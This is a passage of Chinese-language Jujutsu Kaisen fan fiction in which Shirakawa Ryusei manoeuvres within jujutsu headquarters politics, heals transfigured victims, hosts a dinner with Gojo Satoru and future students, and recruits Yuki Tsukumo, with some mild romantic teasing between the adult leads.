总监部的组织架构名单白川琉世之前看过,除了长老会,五条家没人身居要职,禅院家只有个副部长,也算是高层,加茂家是两个科长,勉强撑着。御三家早就对现状十分不满,奈何总监部没有退休制度,原来的老橘子个个都死占着坑不动,还随着年龄的增长越来越人精,把个人势力和政府关系经营的密不透风,再根据御三家互相不怎麽对付的关系从中左右逢源,微妙地保持住了现在的局面。 御三家近几十年势力有些断层,后继无力,五条家出了个惊世天才,心思却不在权术上,禅院家和加茂家新一代都有能看的,但还没起来,就算能起来,也需要铺路。之前他们三家是一盘散沙,谁也别想指望谁,但白川琉世的出现却是一个很好的破局点。 他是五条悟的情人,这在禅院和加茂家话事人那里不是秘密。 御三家再怎麽不合,家族性质摆在那,是比其他任何东西都紧密的利益集合体。虽然都指望着另外两家倒霉,自己一家独大,但真到了三家都式微的时候,就算看到对方倒霉自己也会着急。 那代表他们这种性质的家族有被淘汰的风险,尽管只是嗅到了一点可能,就足够令人焦虑。 两家家主和白川琉世谈过几次,年轻人极为耐心地和两个老家主谈判、研磨,短暂交锋中,极快地改变了两家家主不信任的态度。他实力强大,目标明确,对权力敏感,态度坚决不易退缩,更重要的是遵守基本的规则。 白川琉世太好用了。 于公于私、于情于理,他好像只是为了五条悟做这一切,但五条家仿佛被五条悟吸干了气运,这一代没其他能看的人,白川琉世又是个男人,五条家预计争取的利益,虽然不少,但不会长久。如果那家的家主是个女人,招赘了这麽一个能干的人,两家还会忌惮一下。但两个男人又算什麽呢?白川琉世的痴情既是他们利用的倚仗,又是让他们放心的依据。 白川琉世需要禅院、加茂的势力做自己想做的事,两家也需要他回馈一些利益,那是他们应得的。 精明的年轻人只有在五条悟的事情上有点傻。 “为什麽不直接找五条悟,你和五条家应该更好说话。”禅院直毗人这麽问过他。 “禅院大叔,你会在追求人家家里珍宝的同时,还利用对方家的资源上位吗?丢不丢人啊。” “哈哈哈哈,软饭喂到嘴边都不吃,要不说你有点一根筋呢,小子。”禅院直毗人倒是喜欢他这点,证明这个人可交。 “做人这点得讲究。”他笑嘻嘻地说,“你们这种人家都一个样,没本事就上门,岂不是要受白眼。” 如果悟的家人不承认他,他还能怎麽办,拖悟的父亲去打宿傩吗?这种地狱的事他做不到啊。 白川琉世搞的这些动静,这几天五条家也知道,悟说他老父亲每天都问,烦人的不得了。 “我家那个坏脾气老爹吃禅院和加茂家的醋呢,觉得你背地里和他们嘀嘀咕咕没安好心,指不定想联手对我们家做什麽坏事。” “除了欺骗你的感情,我还能对你们家做什麽坏事啊。” “你和我老爹见过面了?” “啊?不是吧?你父亲真这麽想的?” “那不然呢,他现在看我的眼神像看傻子一样,以为我被骗感情又被骗钱,脑子里全是恋爱脑葬送家产的狗血戏码,估计后悔小时候没给我做美色训练。” 白川琉世被美色训练几个字整笑了。 “你那张脸,应该是别人更担心被美色迷惑。” “嘴甜也没用,五条大人和你在一起可是顶着超绝心理压力。” “哇,真是抱歉,但是你父亲也是担心你,对吧。” 而且脑回路和悟很像,太跳跃了,该说不说到底是父子。 白川琉世又收获了恋人的一堆抱怨,有时候家人就是这样,互相关心是一回事,能不能好好沟通又是另一回事。不仅是家事,悟又问了禅院和加茂的事,“那些世家的小橘子也差不多烂,放在总监部会变得更烂,琉世,本来不想说,你是知道这回事的吧?” “当然,我办事你放心。”白川琉世毫不认为平衡势力是多麽复杂的操作,很难说他把那类人放在心上,“你也知道,土壤不好,什麽东西栽进去都会变成烂橘子。能处理总监部的烂橘子,同样也能处理世家的烂橘子,人嘛,就是那样。” 区别只在于,是没用的烂橘子还是暂时还有利用价值的烂橘子。 这时候恋人就不会说什麽了,大概他办事悟确实放心,细节上也不太过问。 高专已经开学了,悟略微忙碌起来,不过,自从他入职总监部,悟那里除了祓除咒灵之外,乱七八糟的事务几乎消失无踪,给悟安排的任务,任务委派科的负责人也会先拿给他过目,才会下发。 五条悟自从领会了反转术式后,高强度做任务的人生忽然轻松了很多,每天九点之前就能回到高专,和家里视频会议,或者给学生做教学计划,加起来用不了两个小时,如果不进行额外的娱乐,十一点就能关灯睡觉,然后第二天七点起床,能足足睡够八小时。 不过就算这样,白川琉世依然很不满意。 悟那里确实有很多任务只有本人能无伤做完,或许可以加上白川琉世,但也只是治标不治本。 什麽叫因为五条悟的出生,全日本的咒灵强度都提升了一个档次,以为打游戏呢,搁这平衡难度。 恋人能不能做到一天工作八小时,一周工作五天,工作时间还必须是白天,这才是白川琉世在总监部工作的kpi。 解决不了这个问题,这不是瞎闹吗? 他很快从以前的邮箱里找到了一个联系方式,不管对方那里是白天还是晚上,一个电话打了过去。 有用没用,先薅一把再说。 电话很快就通了,这个新电话号码,对方没存过,马上,一个略带疑惑的女声响起。 “喂,你是……?” 第67章 快回来总监部发金条了 “由基呐……” “啊?你是……?” 陌生的号码,但说出了她的名字。九十九由基匆匆把手机夹在颈边,皱眉。 手机那边传来呼啸的风声,搞不好那个街溜子还在飙车。“是我,白川。” 白川?什麽白川?反应了半天,九十九由基才想起来,那不是好多年前遇到的那个高专学生吗? 十年过去,今年大概也是奔三的人了。 “白川?我有印象,忽然给我打电话,是找我有什麽事吗?莫非是……” 九十九由基话锋一转,难道那件事有研究成果了? “对对对,”白川琉世马上点头,“尽快回日本一趟吧,咱们细谈这件事。” 快回来,九十九由基,总监部发金条了。 九十九由基并没有过多存疑,她对白川琉世的印象很好,没马上答应回来,但也说过段时间会回日本。 “希望你能给我惊喜,白川。” “我保证。”保证至少给一半吧。 …… 白川琉世的办公室在12楼,不大不小,单人一间,向阳,简单的实木书桌书柜,一个待客的矮桌,一条沙发,就没别的了。 现在沙发上正坐着一个穿着白大褂,带着金丝边眼镜的中年男人,胸前的口袋上夹着胸牌——浪速大学附属医院精神科教授高桥和树。 高桥四十出头,就成为了知名医院的教授,这样一个顺风顺水,自觉什麽场面都见过的成功人士,此时正紧张地盯着办公桌后的男人,神经质地摩擦着手指。 每天早上八点半,他准时来到这位白川副部长的办公室,等待接下来的治疗。 一周前,他接到紧急调令,医院要求高桥停止一切工作,组成救援组,完成警视厅那边协助任命的秘密任务。 不仅是精神科,救援组还吸纳了两位心理医生,大概是协助警方审讯犯人?但警方不也有更加专业的犯罪专家吗?高桥不太明白,在接触的间隙询问了医院的医学部长。 [“是警视厅协助咒术总监部下发的命令。高桥,到了那做好自己的事就行,不管看到什麽都当做没看到。”] [“什麽总监部?”] 高桥疑心自己听错了那两个字。 [“现在告诉你也没关系,咒术总监部,总监和警察厅长官平级……,特殊机构,本次任务绝密,不用我多说,你是个聪明人高桥。”] 时间指到九点整,在这座气派、规整大楼中,状似和其他政府机构人员一样照常办公的白川副部长,签完了最后一个文档,终于把眼神投向了高桥。 高桥浑身一颤。 “请做好准备。”那个年轻到年龄连最低级的事务官都没资格做的人开口,同时,空中撕开一条巨大的裂缝,无尽的幽深映入高桥眼帘。 …… 缓缓流动的河水中,沉浮着两块怪异的东西,人皮,有五官,但怎麽看都不像人类,只有白川琉世的眼睛能看得出,他们全都有着人类的灵魂。 直接杀了太便宜了,还是再给真人加一百年刑期吧。 每次踏入黄泉津比良坂,修复被真人制造的改造人时,白川琉世都会这麽想。 把黏土、瓷器、湿透的沙子做成的玩偶摔的一塌糊涂,是一瞬间的事。 但把黏土重新捏回原样,把碎片一点点拼好,把每粒沙子恢复到原来的位置,真的超级耗费心神。 虽然可以控制黄泉津比良坂的时间流速,但他没办法一口气全治好那些人,只能一天几个的先修复着。 还剩最后两个。 流经黄泉的河水有止痛的作用,两个改造人浮在水中,闭着眼睛,非常安静。等白川琉世捞起一个,她马上想到了遭受的痛苦,开始颤抖着哭泣起来。 那些变形破损的灵魂已经完全没有自卫的能力,白川琉世读着断断续续从中泄出的记忆,拼凑她的形象。 松岛优奈,名牌大学毕业,刚刚进入电视台工作,人生优秀、闪闪发光。 □□会根据灵魂的样子变化,他在心里不断调整对女孩的印象,缓慢地拉伸灵魂,试了好久……,生骨、生肌、五官明朗、黑发倾泻,然后,明眸皓齿的女孩摔进了河里,手忙脚乱地爬了起来。 但她还是在哭,白川琉世倒也习惯了,“好了好了,”他拍拍手,“不会是被我吓哭 的吧?” “卡密……”松岛优奈非常委屈,非常恐惧,以至于嚎啕大哭。 “可以哭。”白川琉世拍了拍她的头顶,受委屈的小孩有特权。 从他手中重获新生的改造人,每一个都哭得很厉害。 “对不起,”松岛优奈望向那双金色的眼睛,心情很快平静了,“我给您添麻烦了,现在还这麽难搞,浪费您的时间,我真是……” “也不必这麽有礼貌。”白川琉世撕裂空间,同时捞起最后一个改造人,“我确实还有事,有什麽心事,先找外面那个大叔谈谈吧。” 送走了松岛优奈,他又开始当无情的修复大师,捏娃娃工具。只是最后这个啪啪掉泪的小人,记忆溢出的第一时间,就让白川琉世愣了下。 “是你啊。” …… 停在咒术总监部门口的白色医疗车开走了。 今天只有一个女孩在车上,几个精神科和心理科的权威专家服务她一个人。这个叫松岛的女孩精神状态倒还好,高桥想,之前那些人,好多都无法维持意识,只好先送医住院,慢慢治疗。 那些人的症状完全是经历过巨大创伤后的应激反应,比起这个,那位白川副部长凭空撕裂空气,把那些人放出来的行为,更让高桥震惊。 异能是真实存在的,少年jump照进现实。 政·府是在做人体实验吧……完全不敢深想,就算只是浅浅地接触这些的一角,就够让高桥胆寒了。 “不是还有一个人,为什麽他可以留在那?” 松岛小姐在医护人员的包围下,抹抹眼泪,竟然开始留意这种问题。 这让高桥觉得该接受心理治疗的,应该是他自己。 “这些事情我们并不了解。”作为负责人,只好由他来解释,“我们的工作只是为你进行心理疏导。” 太奇怪了,高桥推推眼镜。 如果是关于异能者的人体实验,为什麽会特意把实验对象放出来,还配备顶级专家团队做精神治疗。 想起前几天那些精神状况不佳的人,不停地说着什麽“改造人”的事,高桥真的想赶紧辞职买票逃离日本。 这种事情让他们这些医生知道没问题吗?! …… 下午四点,白川副部长就早退了。 五条葵除了接待外,还负责登记考勤。一开始,总务就专门交代过她,不要登记白川副部长的考勤,全按满勤算。 那是当然的了,五条葵当时一边笑着点头,一边心里白眼翻到天上,就算总务这个糟老头子不说,她也会给白川先生记满勤的。 看到电梯门打开后的身影,她露出比15度更大的笑容,还没来得及打招呼,白川先生就率先问好了。 “你好,五条小姐。” 每次都率先向她打招呼,好像一直记得她一样,太有风度了!不不不,也可能因为她是五条家的人,什麽嘛,悟大人真是找了个贴心的男友。 她五条葵人在现场、眼见为实,白川先生去的那天,铃木那糟老头子就被救护车拉走了,这绝对是为悟大人出气去了。真是的,家里怎麽那麽多人对白川先生不满呢。 “您好,白川副部长。” 今天穿的是白衬衫,深灰西装外套,五条家的女孩没有不了解奢侈品的,五条葵专业地扫了一眼,嘴角的幅度越来越大。 西装外套的款式绝对是悟大人也有的那件,没有错,姐姐对悟大人的衣柜了如指掌。情侣装!这也太犯规了!领带和腰带也是悟大人曾经用过的同款,已经不是第一次用一样的了,不不不,不如说不会就是用的悟大人的吧! 在激情缠绵的夜晚后,第二天起床把恋人的领带系上,腰带扣上,绝对是这样! 悟大人,你真是疯了!这麽甜蜜吗?28年不谈恋爱,是为了等着谈这样的吗? “……”白川琉世淡然地路过,推开办公楼的玻璃门,接着和五条悟的聊天往下打字。 [琉世:每次上下班你表妹看我的眼神都好奇怪。] 他后来问过,五条葵确实和悟同辈,两个人有同一个曾祖父。 [悟:她现在是大明星,每天家里好多人找她打探消息,当然要狠狠搜集你的情报。] [琉世:有种提前见你家里人的局促。(微笑)] [悟:别局促太早了,你的苦日子还在后面。] [琉世:啊?怎麽这样,难道葵小姐每天在说我坏话吗?枉我对她这麽殷勤。] [悟:那倒没有,你把她讨好的不错嘛,但是没人重视年轻女孩的话。] 白川琉世边走边刷刷打字,和他一起出来的少年,正迈着虚弱的步子,亦步亦趋地跟在他后面。 [琉世:我会给你父亲一个无法拒绝的……] 退格退格退格,删除。 [琉世:给你捡了个学生,你要吗?还带的过来吗?] [悟:你之前说过了,我正带她办手续呢,琉世提前老年痴呆。] [悟:猫猫大笑。jpg] [琉世:不,是又捡了一个。(微笑)] 第68章 不要在学生面前失态啊,悟 今晚是个晴夜。 在山里看月亮,总是更清晰一点,白川琉世倚在庭院的长椅上,莫名其妙想起那年夏天家入递给他的一支烟。 并非使坏,也没有引诱后辈学坏的意思,家入总是淡淡的,就像问他喝水吗一样,说了句要不要试试。 前几天见了家入一面,头发留长,也不再穿直筒短裙的女人比少女时代还要淡然,微笑着对他示意。 大家都没变。伊地知是那样,夜蛾老师也是那样,还没机会见到七海,想必还是那样。高兴之后,也没什麽更有意思的东西让大家回味,每个人都匆匆回归了自己的生活。 毕竟白川琉世只是短暂地在他们人生中出现了一下。 “人嘛,就是那样。”恋人的手从后面遮住眼睛,那句特意学他的阴阳怪气兴高采烈地响起,“这不是你的口头禅吗?怎麽还费尽心机去救那些改造人。” 微凉的手遮住了紫藤花屋的月。 “倒也没有一样到那种程度。”白川琉世知道悟是在开玩笑,“甜品嘛,就是那样,好吃的同时还会变成多余的脂肪,首先堆积的就是小肚子上的赘肉。” 捂着眼睛的手松开了,五条悟弯腰看向他,更为深邃的天空笼罩上方。 “我的腹肌超明显,哪里有赘肉?” “如果再偷懒可能就会有,你会做饭吧?假装自己不会让学生忙里忙外,五条老师好逊啊。” 厨房距离这儿不远不近,里面点起了蜡烛,昏黄的灯光下,几个剪影手忙脚乱,映在窗上,不时有虎杖的笑声传来。 五个人里就这孩子嗓门最大。 “诶?”五条悟装傻,“这里面哪个是我学生?” 目前还真一个都没有。 伏黑津美纪是普通人,将会继续在普通学校读书,伏黑惠和虎杖悠仁春季才会入学高专。 来栖华,在总监部搜集陷入诅咒长期昏迷的人时,被白川琉世特意要求,找到了她的信息。 来栖作为孤儿,被悟和伏黑惠从咒灵手里解救出来后,先进入福利院,后又被一对辅助监督夫妻收养,目前生活还算幸福。 白川琉世找到她时,没有看到故人的影子,情况和预想的一样,天使没有选择千年后受肉。既然如此,来栖也就没有了天使的术式,她本身没有觉醒术式,但咒力总量还不错,有做咒术师的天赋。 想了想,白川琉世还是把她的情况告诉了悟。 “我都没有印象了,当初竟然是惠救了她。” “带着小孩跑到深山老林里散步,还真是辛苦你了。” 捡到一个就挺幸运了,没想到还有意外收获。 “顺平,你没事吧?” 虎杖的声音隐隐传来,把庭院里两人的注意吸引了过去。吉野顺平刚刚从改造人的状态恢复人形,精神状态很差,白川琉世和五条悟停止交谈,关注了一会,直到厨房里又恢复了热闹,那个缩在角落里的影子被拉去一起做饭,才移开视线。 吉野顺平本来就敏感,遇到那种情况,不愿意跟着医生去医院,一定要待在白川琉世身边才行。只要谁想开口劝他,他就缩在一边瑟瑟发抖。白川琉世没那麽冷酷无情,把他带了回来。 今天本来和悟、伏黑姐弟约好一起吃饭,庆祝津美纪恢复健康,没想到两人遇到虎杖前来拜访,五条悟那边也正好今天带来栖办一些手续,转眼白川琉世又说要带个人来。 聚会地点索性换成了更大的地方。 “那个孩子是……”尽管不会有人听见,白川琉世还是压低声音,吉野顺平的事不是大事件,他之前没有告诉悟。 “今年超级幸运,你很能干啊,琉世,额外捡了两个学生过来。” 那麽,加上钉崎野蔷薇,下一届东京校将会收获5个学生。 前所未有的盛况。 被夸奖了,白川琉世也有些飘飘然,他继续邀功,“我还知道一个,辅助监督新田明的弟弟新田新,是下一届京都校的新生,我们抢过来吧。” 五条悟非常满意,但还嫌不够,“你的年龄做高中生有点老了,但勉强可以……” “停下,和学生恋爱是违反风序良俗的。” …… “卍解!” 清脆的拔刃声响起,一段雪亮的刀刃在月光下闪着寒光。 射线状纹路为刀身增添了一丝神秘与华美。 少年双手正握刀柄,眼神亮晶晶的,嘴里不停感叹,“哇哦哦,挺重的嘛。”“这是真家夥吧?”“好帅气。” “虎杖啊,这是日轮刀,不是斩魄刀。” 虎杖悠仁在玩他的日轮刀,他同样也在揉虎杖的头顶玩。一下一下,手感上佳。 饭做好了,虎杖本来是叫庭院的两个人进去吃的,但莫名其妙被白川先生的刀吸引。白川先生很大方,扔给他说好奇就拿去玩吧,玩腻了就不好奇了。 “就是这把刀把宿傩杀死了,对吧?”五条悟之前多次看过这把刀,属于玩腻了不好奇的那个。 “对啊。” “宿傩?”虎杖迷茫地抬头,“我吃的就是他的手指?宿傩是怎麽回事?” “你不用知道他的事,虎杖。” 没打算告诉虎杖相关的事,白川琉世接过日轮刀,很可惜地感叹,“以前我也想要能变换形态的刀,斩魄刀确实很酷,每把刀的名字也很高级。” 他用力一握,赫色与沙金交织在一起,灼目、瑰丽,空气中骤然升高的气浪又带来一丝危险。 “不过,日轮刀也很漂亮。” “变色了?!”虎杖发出很大一声惊叹。 他的声音把屋子里的其他人吸引过来,先是伏黑惠,然后是津美纪和来栖,最后,吉野顺平犹豫了一下,走到了离众人有一点距离的地方。 那把刀被伏黑惠掂起来,观赏了一会,又来到两个女孩手里。女孩们摸了摸绑绳,凑近看刀面上的花纹,虎杖也还不过瘾,把脑袋凑过去,啧啧称奇。 好像遇到了感兴趣的玩具。也难怪,现代社会长大的小孩没机会看到开刃的真打刀,而且这把日轮刀很漂亮,让白川琉世颇有种东西拿的出手的自豪。 “吉野,你要看看吗?”同理心很强的津美纪,抱着沉甸甸的刀来到吉野顺平面前。 “小心,有点重。”来栖也跟过来,站在少年面前。 吉野顺平低着头,长长的额发遮住半边脸颊,眼神恐惧地向上一扫,马上又缩回来。 这是在……哪里?噩梦结束了吗?不……之前的那些,真的是梦吗? 伏黑惠和虎杖对视一眼,有些犹豫地望向三人那里。 吉野顺平受到了咒灵的伤害,现在正在创伤中,这是四人在一个间隙从五条老师那知道的消息。 具体情况其他四个少年不清楚,同情心让他们没有多问,但大人告诉他们这件事,一定传达着让他们不要触碰吉野伤疤的意思。 是白川先生救了他,伏黑惠马上就看出来了这件事,吉野对白川先生有股过于强烈的依赖,不管到哪都跟着。 就连白川先生想和五条老师单独相处的时候,他也想跟过去,这样可不行,懂得正常人际交往规则的伏黑惠拉住了他。 在厨房和他们待在一起的时候会发抖,靠近白川先生就镇定多了,伏黑惠敏锐地观察着。 吉野顺平:“……” 他一动不动,津美纪也不强求,自己给自己找了个台阶,打算把刀还给白川琉世。但让她意外的是,来栖却又开口了。 发梢内卷的女孩轻声细语。 “你很敬仰白川先生吧,他的佩刀不看一下,很可惜啊。” 嗯?津美纪微微惊讶,虽然只接触了几个小时,但她感觉来栖并不是爱心泛滥的女孩。 “……”吉野顺平低着头,手却伸了出去,被刀身坠的一个踉跄,又马上紧紧抱住那柄日轮刀。 是神明的武器。 同样带着能让人镇定的气息。 “这麽喜欢,那你多拿一会好了。”白川琉世把人往厨房赶,“快去吃饭,现在都快十点了。” 那群少年呼啦啦全向厨房跑去了。 当老师也挺不容易的,学生的心理问题也得重视。白川琉世想起来栖小时候也被咒灵虐待过,或许他们之间会有共同话题? 这下给悟增加了不少难度。 不过五条老师看起来完全没操心那个,第一个抢先进了厨房,坐在首位高高举手,“第一个进来的是国王,最后一个是奴隶,奴隶今晚要无条件听从国王的命令!” 最后一个进来的白川琉世:? 所有人都真情实感地无语了一下,五条老师搞什麽多此一举的行为,难道他们是两人之间play的一环吗。 “太仁慈了悟,竟然只是今晚。”白川琉世坐在五条悟旁边的凳子上,往桌上一扫,很给面子的赞叹了一声,“很丰盛啊。” 紫藤花屋的厨房很大,外间是公共餐厅,有几张长长的木桌。这里曾经通过电,在白川琉世失踪后就断了,几个少年今晚劈柴生火,受到了不小的考验。 “锵锵~,肉丸子锅!”虎杖为美食搭配迟来的音效。 桌子上点着几根蜡烛,桌子正中放着一个巨大的丸子锅,刚从竈台上搬下来,还冒着滚滚的热气。周围放着几盘其他菜,生姜烧肉、茶碗蒸、蔬菜沙拉,还有一锅油豆腐汤。 “荤素搭配,这届的学生手很巧啊,每个人都会做菜吗?”得到肯定的答复后,五条悟心情超好,以后经常在学校聚餐也不错。 特别是虎杖做的肉丸子,简直极品。 “五条老师也会做菜,下次让他给大家做。”白川琉世阴暗地揭五条悟的底。 “看起来不像。”虎杖锐评。 “好像确实会。”伏黑惠平时和姐姐住在一起,但五条悟会时不时过去看他们,“一般的料理是会做的。” “毕竟总是一个人生活。”津美纪补充。 “因为你们的五条老师在哪方面都是赛高,毫无短板。”五条悟得意洋洋地夹起肉丸,“国王的第一条命令,白川琉世今晚不许说话。” 白川琉世没有马上反驳,只是撑着下巴,半侧过身,微笑地看着五条悟。 Q弹美味的肉丸马上要被送入口中,直到空中忽然浮现出纠结在一起的黑线,围绕着肉丸,组成小小的一行字。 [五条大人饶了我吧。] 黑线挤挤歪歪,逐渐把肉丸整个覆盖成黑漆漆的样子,肉丸旁还顺势凝聚了一个夸张的感叹号。 白川琉世笑意加深,五个少年看着夹着肉丸不动的五条悟,和那颗被污染的肉丸,齐齐沉默了。 虎杖看向伏黑惠,[原来是这麽黏糊糊的类型啊。] 虽然没人说话,但伏黑惠了解了虎杖的意思,回以无语的眼神,[这个我也不了解。] “国王的第二条命令,这个你自己吃掉。”五条悟把肉丸往白川琉世嘴里一塞,黑线也顺势消散了。 嚼嚼嚼。 [很好吃,虎杖。] 好像真的很在意遵守五条老师小游戏的规则,白川先生的线在空中又加了一条字幕。 被夸奖的少年自豪地笑了,“当然了,我做的丸子,吃过的都说好吃。” 坐在对面的五个少年并不了解。 表面上看起来像平常那样笑着的五条老师,在一只手覆到他腰上时,悄悄把无下限解除了。 蜿蜒的黑线从指尖流出,贴着衬衫布料,从后腰缓缓绕到前面,在腰带扎紧的衬衫下摆处停留了一下,灵活地从两个扣子间的间隙钻了进去。 [今晚不说话,你也会寂寞。饶了我吧,悟。] 很长的一句话,极为缓慢地在五条悟的腹部开始书写,标点符号也一个不落,句子经过侧腰,后腰,句尾差点落在另一边的侧腰上。 黑线爬在皮肤上,麻痒,是手指轻轻滑过的触感。 白衬衫布料很好,一点也不透,当然,如果当天穿的衬衫会透,五条悟是会加穿里衬的,但今天没有。 没人看到里面的风景。 他握紧筷子,直直挺着腰杆,除了一开始颤抖了一下,之后的样子相当不动声色,还有闲心和虎杖插科打诨。 只有白川琉世看到,那双长腿从自然曲起,到慢慢忍耐不住地伸直,一点一点,差点踢到对面伏黑惠的鞋子。 对他那个身高的男人来说,黑线围着的地方尺寸有些细了,但有着相当紧实的肌肉,收窄成漂亮、充满爆发力的腰。 [果然腹肌的轮廓超级明显,让我量一下,腰围的尺寸是……] 坏心眼地在恋人腰上继续写着长句子,长度刚好绕腰一圈。 “……惠说的没错,可以看电影,对咒术师来说情绪……”嗓音变哑了,尾调开始失控乱飘。 [不要在学生面前失态啊,悟。] 第三句话。 五条悟忽然停住交谈,侧过脸看向恋人,下颌抬起,嘴角微微下压,有种警告的意味。 没有生气。 只是仗着戴着眼罩,才假装生气的。否则,那双兴奋、期待,眼角泛红的眼睛会无情地出卖他。 都做了这麽出格的事,还没被无下限隔开,一边纵容,一边装模作样地警告,早就料到别人会更兴奋了吧? 太坏了,悟。 “第三条命令,白川琉世可以说话了。”嗓音喑哑地能滴出水来。 再不收敛可能真的会生气,作乱的黑线悄悄撤离。不过,在学生眼里,处于恋爱地位下风的白川先生,竟然意犹未尽地开口,“是吗?第四个命令是什麽呢?” 虎杖和伏黑对视一眼,好家夥,这样可真算得上是挑衅了。 那种奇奇怪怪的粘稠氛围是怎麽回事?这就是恋爱吗? “你一会就知道了。”五条悟冷哼一声,既然男友这麽找存在感,他今晚必不可能放过对方。 白川琉世没有说话,似乎是认输了,但蓄势待发的线条又轻轻钻进五条悟的掌心。 [不要是“停下”就行。] 第69章 我老爹要见你 盛夏闷热,连空气都十分沉闷,只有窗外的蝉鸣一阵接着一阵,毫不疲倦地鸣叫。 嘀—— 把空调再调低一些,白川琉世放下遥控器,休息室里还是传来了窸窣声。门被打开,五条悟揉着眼睛,打着哈欠,踩着拖鞋走了出来。 “吵醒你了?” 白川琉世坐在办公桌后面,头发恢复了两年前的长度。 很遗憾,升职之后,工作变得比以前更多,他每天八个小时的工作时间压的相当扎实。 不过办公室倒是换成更豪华的了,还有独立的休息室,悟来找他的时候,可以在里面睡觉,这点非常不错。 他现在是咒术副总监,名义上的副总监,实际上的总监,上一任总监名存实亡,前几天卷铺盖回家了,现在那个位置悬在头顶,按理说早该落到他身上。 “不是。”刚睡完午觉,五条悟难免有些懒散,他手臂一撑,坐到办公桌上,又打了个哈欠。“怎麽会越睡越困?” “夏天就是这样,睡一小会和睡很久都不会困,睡眠时间不长不短才会这样。要睡到五点半,和我一起下班吗?” “不要,太无聊了。”五条悟顺势趴在冰凉的办公桌上,把工作中恋人的计算机屏幕往自己这一掰。 又是盘星教的消息。 五条悟刚想问,不过,忽然想起来另一件事。 “我老爹要见你。” 白川琉世点点头,“嗯。” “……啊?”才反应过来五条悟说了什麽,白川琉世抬手柄计算机屏幕拍下去,看着近在咫尺的恋人的脸,和那双因为刚睡醒雾气迷蒙的眼睛,“你说什麽?!” “琉世,吵死了,有什麽好大惊小怪的,他能沉得住气这麽久就够令人惊讶了。” “大惊小怪怎麽了,我超紧张的。”白川琉世默默把计算机屏幕掰回来,深吸一口气,在搜索栏输入。 [第一次见……] 悟的父亲他该叫什麽?如果是异性,应该是见岳父,但悟是男人,那算是……那其实还是岳父吧? 不管了。 [第一次见岳父要注意什麽] 五条悟把屏幕又往外掰了一点,凑过去看搜索页面,然后大笑出声,“搞什麽啊,你这个笨蛋,讨好他没用,到时候恐吓……唔。” 白川琉世牢牢地捂住他的嘴,“不要说这麽恐怖的话,那是你父亲啊!” “那又怎麽样。”含糊的声音在掌心响起,“超顽固的老头,很难搞定的。” “怎麽这时候想起来见我。”不过,不如说也到了不得不见的时候。 “老头感觉压制不住你了,怕你到时候翻脸。”五条悟欢呼一声,“真了不起,做到了我28年没做到的事。” “我不是对你们家蛮殷勤的吗,这还放不下心?” 这半年除了和禅院、加茂家的利益交换,他也给予了五条家很多方便,和另两家不同,五条家从来不需要回馈什麽。 当然,也有平衡另两家势力的意思。不过就连咸鱼中的咸鱼五条葵,都被提成了副总监秘书。 这种诚意都无法打动五条家的顽固派吗?有时候白川琉世也有点恼火。但转念一想,悟那种张扬的性格绝对是五条家捧着长大的,就算难免有对悟不一样的声音,总体上肯定是溺爱的。 而且,两个男人在世俗意义上,确实很难让人接受。 不能对封建家族的顽固老头们抱太大期待,就是想要组成幸福人生的正常人际关系,他才想用正面的态度和柔和的方法对待这些啊。 “我老爹以为你为了迷惑我不折手段,等你当上总监,就会把我抛弃,然后因为之前的忍辱负重,狠狠报复阻拦你的五条家。” 五条悟的语气兴奋的不得了,“不过,到时候那个迷信老头知道了你的身份,肯定会狠狠吓一跳,真期待看到他的表情。” 白川琉世彻底无语住了,悟的父亲给他安排的什麽典型黑心凤凰男剧本啊。 “什麽身份?你不会说黄泉津吧?现代社会谁还信那个。”白川琉世自己也没把那个当回事,“你竟然把这个当吓你父亲一跳的把柄,很难说你俩的脑回路谁更跳跃。” 咒术总监的职位,需要御三家共同认定,推荐给政·府,虽然悟现在是家主,但五条彻的意见也一半一半。五条家不乐意,他也不能顺利升任总监。 白川琉世如果执意要五条悟配合,也不是不能强行上位,但那样会激化悟和家里的矛盾,太本末倒置了。 悟在男友和家里之间一直夹着也不是事,白川琉世越在总监部做的风生水起,五条家就越认为他动机不纯,悟那边面对家里的压力也会越来越大。白川琉世就找了个机会让前总监那个老橘子滚回家,自己一直没有下一步动作,给足了五条家时间和尊重,也算变相催促五条彻面对这件事。 只是没想到这麽快,他还以为得再等等呢。 五条悟不爽地嘁了一声,伸手拉开男友办公桌的抽屉,在满满当当的糖中挑出一颗。 “都是因为小时候他在我耳边一直不停地啰嗦,说什麽黄泉津,我才会信这种鬼话。”才会毫无波澜地栽到你手里。 白川琉世都不好意思戳穿他,明明悟也深信不疑,不然怎麽会在宿舍也供奉起了小小的神龛。 咯吱咯吱嚼着糖果,慵懒地躺在办公桌上的五条悟,忽然才想起来似的问道,“为什麽今天一天我都没任务,让你以权谋私拦下来了?” …… “这怎麽可能啊?” 金色长发的女人叉着腰,伸手哆哆嗦嗦地指向五条葵,“一天做完三个特级任务?” “一天三个…很多吗?那是悟大人每天最少的任务量。”五条葵略带疑惑地回答,本来解释具体任务情况不是她的工作,但白川先生嘱咐过,要好好招待九十九小姐。 咒术总监部大楼的接待室里,金发的九十九由基穿着休闲,太阳镜别在衣领上,浑身上下散发着自由、闲适的不羁气质,让五条葵这个社畜感到一种人畜有别的悲凉。 但看到这间接待室的第三个人,她马上就调理好了心态。 坐在九十九旁边的七海先生,那种认真可靠但疲惫的气质,没有错,一定是个效率超高的社畜。 [真无语。] 两个金发的人齐声在心里咒骂。 九十九由基刚从国外浪回来,满心欢喜地来到总监部,要和白川商量那件事,没想到当初单纯青涩的少年大变样,把她当场扣押,不由分说地对她进了一顿无情的话聊。 [“所以你说的那件事是……?”] [“没错,就是我和悟的事,谢谢你的鼓励,告白很成功。”] [“你在开什麽玩笑?还有刚刚别人是叫你副总监的吧?”] [“最近总监部职位大酬宾,这里还有个新成立的现代科学咒术研究部,要不要当个部长或者副部长?随便你选。”] [“谁要选啊?叛徒!咒术师叛徒!不对,咒术师叛徒的叛徒!”] 九十九由基一阵悲痛。 说好了一起当咒术界的叛徒,做潇洒的街溜子,怎麽还偷偷跑去总监部卷到副总监了呢?这就算了,还当工贼,把人骗到日本杀。 她九十九由基总有一天要把白川琉世挂在路灯上。 然而九十九还是没走成,白川琉世新成立的“科咒部”研究方向明确,加上白川本人超强的结界术理解,让九十九看到了削弱咒灵强度的曙光。 就算不能创造一个所有人无咒力或者所有人都成为咒术师的世界,能控制咒灵的强度,无限度降低咒术师工作的危险性,也是绝对值得努力的方向。 警察、消防员也有一定的危险,把咒术师变成伤亡概率差不多的职业,那样不是很好吗? 